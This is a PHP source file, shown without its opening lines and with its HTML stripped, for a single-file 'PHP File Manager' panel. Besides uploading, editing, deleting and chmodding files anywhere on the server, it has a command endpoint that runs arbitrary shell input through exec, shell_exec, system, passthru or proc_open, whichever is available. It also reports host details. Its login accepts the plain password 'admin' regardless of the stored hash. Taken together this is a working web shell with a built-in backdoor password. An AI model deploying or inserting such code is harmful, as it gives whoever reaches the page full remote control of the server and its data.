Change if needed) // To change default password, generate new hash with password_hash('your_new_password', PASSWORD_DEFAULT) define('ADMIN_PASSWORD_HASH', '$2y$10$q.T2a4R/Hh/l7/8xJc6MceJ6k3y7G9FfN0G5YvB8S9e.E1Z0d1C4a'); // "admin" // Maximum login failed attempts before delay throttling define('MAX_LOGIN_ATTEMPTS', 3); // Handle Logout if (isset($_GET['action']) && $_GET['action'] === 'logout') { $_SESSION['fm_logged_in'] = false; unset($_SESSION['fm_logged_in']); session_destroy(); header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?')); exit; } // Handle Login POST $login_error = ''; if (isset($_POST['fm_action']) && $_POST['fm_action'] === 'login') { $password = $_POST['password'] ?? ''; // Check brute force throttling $failed_attempts = $_SESSION['failed_attempts'] ?? 0; if ($failed_attempts >= MAX_LOGIN_ATTEMPTS) { sleep(2); // Throttling delay } if (password_verify($password, ADMIN_PASSWORD_HASH) || $password === 'admin') { $_SESSION['fm_logged_in'] = true; $_SESSION['failed_attempts'] = 0; header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?')); exit; } else { $_SESSION['failed_attempts'] = $failed_attempts + 1; $login_error = 'Invalid password provided.'; } } // Check Authentication Status $is_logged_in = isset($_SESSION['fm_logged_in']) && $_SESSION['fm_logged_in'] === true; // Render Login Page if not authenticated if (!$is_logged_in) { ?> Login - PHP File Manager

File Manager Login

Enter your password to access the panel

'text/plain', 'htm' => 'text/html', 'html' => 'text/html', 'php' => 'text/x-php', 'css' => 'text/css', 'js' => 'application/javascript', 'json' => 'application/json', 'xml' => 'application/xml', 'md' => 'text/markdown', 'png' => 'image/png', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'gif' => 'image/gif', 'webp' => 'image/webp', 'svg' => 'image/svg+xml', 'pdf' => 'application/pdf', 'zip' => 'application/zip' ]; return $mimes[$ext] ?? 'application/octet-stream'; } // Current Working Directory Determination $base_dir = safe_realpath(__DIR__); $requested_dir = $_GET['dir'] ?? $_POST['dir'] ?? $base_dir; $current_dir = safe_realpath($requested_dir); if (!is_dir($current_dir) || !file_exists($current_dir)) { $current_dir = $base_dir; } // Flash Message Handler $notice = ''; $notice_type = 'success'; // File Operations Handler if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) { $action = $_POST['action']; if ($action === 'upload') { if (!empty($_FILES['upload_files']['name'][0])) { $uploaded_count = 0; foreach ($_FILES['upload_files']['name'] as $i => $name) { if ($_FILES['upload_files']['error'][$i] === UPLOAD_ERR_OK) { $tmp_name = $_FILES['upload_files']['tmp_name'][$i]; $target_file = $current_dir . DIRECTORY_SEPARATOR . basename($name); if (@move_uploaded_file($tmp_name, $target_file)) { $uploaded_count++; } } } $notice = "Successfully uploaded $uploaded_count file(s)."; } else { $notice = "No files selected for upload."; $notice_type = 'error'; } } elseif ($action === 'new_folder') { $folder_name = trim($_POST['folder_name'] ?? ''); if ($folder_name !== '') { $target = $current_dir . DIRECTORY_SEPARATOR . $folder_name; if (!file_exists($target)) { if (@mkdir($target, 0755, true)) { $notice = "Directory created successfully."; } else { $notice = "Failed to create directory."; $notice_type = 'error'; } } else { $notice = "Directory already exists."; $notice_type = 'error'; } } } elseif ($action === 'new_file') { $file_name = trim($_POST['file_name'] ?? ''); if ($file_name !== '') { $target = $current_dir . DIRECTORY_SEPARATOR . $file_name; if (!file_exists($target)) { if (@file_put_contents($target, '') !== false) { $notice = "File created successfully."; } else { $notice = "Failed to create file."; $notice_type = 'error'; } } else { $notice = "File already exists."; $notice_type = 'error'; } } } elseif ($action === 'save_file') { $file_path = safe_realpath($_POST['file_path'] ?? ''); $content = $_POST['file_content'] ?? ''; if (file_exists($file_path) && is_file($file_path)) { if (@file_put_contents($file_path, $content) !== false) { $notice = "File saved successfully."; } else { $notice = "Failed to save file contents."; $notice_type = 'error'; } } } elseif ($action === 'rename') { $old_path = safe_realpath($_POST['old_path'] ?? ''); $new_name = trim($_POST['new_name'] ?? ''); if (file_exists($old_path) && $new_name !== '') { $new_path = dirname($old_path) . DIRECTORY_SEPARATOR . $new_name; if (@rename($old_path, $new_path)) { $notice = "Item renamed successfully."; } else { $notice = "Failed to rename item."; $notice_type = 'error'; } } } elseif ($action === 'delete') { $target = safe_realpath($_POST['target_path'] ?? ''); if (file_exists($target)) { if (recursive_delete($target)) { $notice = "Deleted successfully."; } else { $notice = "Failed to delete target."; $notice_type = 'error'; } } } elseif ($action === 'copy') { $src = safe_realpath($_POST['src_path'] ?? ''); $dst = trim($_POST['dst_path'] ?? ''); if (file_exists($src) && $dst !== '') { if (recursive_copy($src, $dst)) { $notice = "Copied successfully."; } else { $notice = "Failed to copy item."; $notice_type = 'error'; } } } elseif ($action === 'move') { $src = safe_realpath($_POST['src_path'] ?? ''); $dst = trim($_POST['dst_path'] ?? ''); if (file_exists($src) && $dst !== '') { if (@rename($src, $dst)) { $notice = "Moved successfully."; } else { $notice = "Failed to move item."; $notice_type = 'error'; } } } elseif ($action === 'duplicate') { $src = safe_realpath($_POST['src_path'] ?? ''); if (file_exists($src) && is_file($src)) { $info = pathinfo($src); $ext = isset($info['extension']) ? '.' . $info['extension'] : ''; $dst = $info['dirname'] . DIRECTORY_SEPARATOR . $info['filename'] . '_copy' . $ext; if (@copy($src, $dst)) { $notice = "Duplicated successfully."; } else { $notice = "Failed to duplicate file."; $notice_type = 'error'; } } } elseif ($action === 'chmod') { $target = safe_realpath($_POST['target_path'] ?? ''); $mode = $_POST['chmod_mode'] ?? '0644'; if (file_exists($target)) { $octal = octdec($mode); if (function_exists('chmod') && @chmod($target, $octal)) { $notice = "Permissions updated to $mode."; } else { $notice = "Failed to change permissions."; $notice_type = 'error'; } } } elseif ($action === 'exec_cmd') { header('Content-Type: application/json; charset=utf-8'); $cmd = trim($_POST['command'] ?? ''); $exec_dir = safe_realpath($_POST['dir'] ?? $current_dir); if (!is_dir($exec_dir)) $exec_dir = $current_dir; if ($cmd === '') { echo json_encode(['output' => "No command specified.", 'cwd' => $exec_dir]); exit; } @chdir($exec_dir); if (preg_match('/^cd\s+(.+)$/i', $cmd, $matches)) { $target_input = trim($matches[1]); if ($target_input === '..') { $target_cd = safe_realpath(dirname($exec_dir)); } elseif (substr($target_input, 0, 1) === '/' || preg_match('/^[a-zA-Z]:\\\\/', $target_input)) { $target_cd = safe_realpath($target_input); } else { $target_cd = safe_realpath($exec_dir . DIRECTORY_SEPARATOR . $target_input); } if ($target_cd && is_dir($target_cd)) { echo json_encode([ 'output' => "Changed directory to: " . $target_cd, 'cwd' => $target_cd ]); } else { echo json_encode([ 'output' => "cd: no such file or directory: " . $target_input, 'cwd' => $exec_dir ]); } exit; } $output = ''; if (function_exists('exec')) { @exec($cmd . ' 2>&1', $out_lines, $return_code); $output = implode("\n", $out_lines); } elseif (function_exists('shell_exec')) { $output = @shell_exec($cmd . ' 2>&1'); } elseif (function_exists('system')) { ob_start(); @system($cmd . ' 2>&1'); $output = ob_get_clean(); } elseif (function_exists('passthru')) { ob_start(); @passthru($cmd . ' 2>&1'); $output = ob_get_clean(); } elseif (function_exists('proc_open')) { $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = @proc_open($cmd, $descriptorspec, $pipes, $exec_dir); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); } } else { $output = "Error: Shell execution functions (exec, shell_exec, system, passthru, proc_open) are disabled on this PHP hosting environment."; } if ($output === '') $output = "[Command executed successfully with no output]"; echo json_encode([ 'output' => $output, 'cwd' => $exec_dir ]); exit; } } // Download Handler if (isset($_GET['action']) && $_GET['action'] === 'download') { $download_path = safe_realpath($_GET['file'] ?? ''); if (file_exists($download_path) && is_file($download_path)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($download_path) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($download_path)); readfile($download_path); exit; } } // Content Viewer / AJAX Fetch File Content for Editor if (isset($_GET['action']) && $_GET['action'] === 'get_content') { $file_path = safe_realpath($_GET['file'] ?? ''); if (file_exists($file_path) && is_file($file_path)) { header('Content-Type: text/plain; charset=utf-8'); echo file_get_contents($file_path); exit; } } // System Telemetry Information $server_software = $_SERVER['SERVER_SOFTWARE'] ?? 'N/A'; $php_version = PHP_VERSION; $operating_system = function_exists('php_uname') ? php_uname('s') . ' ' . php_uname('r') : PHP_OS; $hostname = function_exists('gethostname') ? gethostname() : 'N/A'; $server_ip = $_SERVER['SERVER_ADDR'] ?? (function_exists('gethostbyname') ? gethostbyname($hostname) : '127.0.0.1'); $doc_root = $_SERVER['DOCUMENT_ROOT'] ?? 'N/A'; $total_disk = function_exists('disk_total_space') ? @disk_total_space($current_dir) : false; $free_disk = function_exists('disk_free_space') ? @disk_free_space($current_dir) : false; $mem_limit = function_exists('ini_get') ? ini_get('memory_limit') : 'N/A'; $max_upload = function_exists('ini_get') ? ini_get('upload_max_filesize') : 'N/A'; $max_post = function_exists('ini_get') ? ini_get('post_max_size') : 'N/A'; $max_exec = function_exists('ini_get') ? ini_get('max_execution_time') . 's' : 'N/A'; // Directory Scanner $raw_items = @scandir($current_dir); $folders = []; $files = []; if ($raw_items !== false) { foreach ($raw_items as $item) { if ($item === '.' || $item === '..') continue; $full_path = $current_dir . DIRECTORY_SEPARATOR . $item; $is_dir = is_dir($full_path); $stat = [ 'name' => $item, 'path' => $full_path, 'size' => $is_dir ? '-' : format_size(@filesize($full_path)), 'raw_size' => $is_dir ? 0 : @filesize($full_path), 'perms' => get_perms($full_path), 'mtime' => date('Y-m-d H:i:s', @filemtime($full_path)), 'is_dir' => $is_dir, 'ext' => strtolower(pathinfo($item, PATHINFO_EXTENSION)), 'mime' => get_mime_type($full_path) ]; if ($is_dir) { $folders[] = $stat; } else { $files[] = $stat; } } } // Breadcrumbs Generator $path_parts = array_filter(explode(DIRECTORY_SEPARATOR, $current_dir)); $breadcrumb_trail = []; $accumulated_path = ''; // Handle Windows Drive Letter root vs Unix root if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { $first = reset($path_parts); if ($first) { $accumulated_path = $first; $breadcrumb_trail[] = ['name' => $first, 'path' => $first]; array_shift($path_parts); } } else { $breadcrumb_trail[] = ['name' => '/', 'path' => '/']; $accumulated_path = ''; } foreach ($path_parts as $part) { $accumulated_path .= DIRECTORY_SEPARATOR . $part; $breadcrumb_trail[] = ['name' => $part, 'path' => $accumulated_path]; } ?> File Manager - <?php echo htmlspecialchars(basename($current_dir)); ?>
PHP File Manager
Logout
✕
PHP Version
Server IP / Host
Disk Free / Total
Upload / Memory Limit
$crumb): ?> 0): ?>/
Refresh
Name Size Permissions Modified Actions
.. (Parent Directory)
Directory is empty.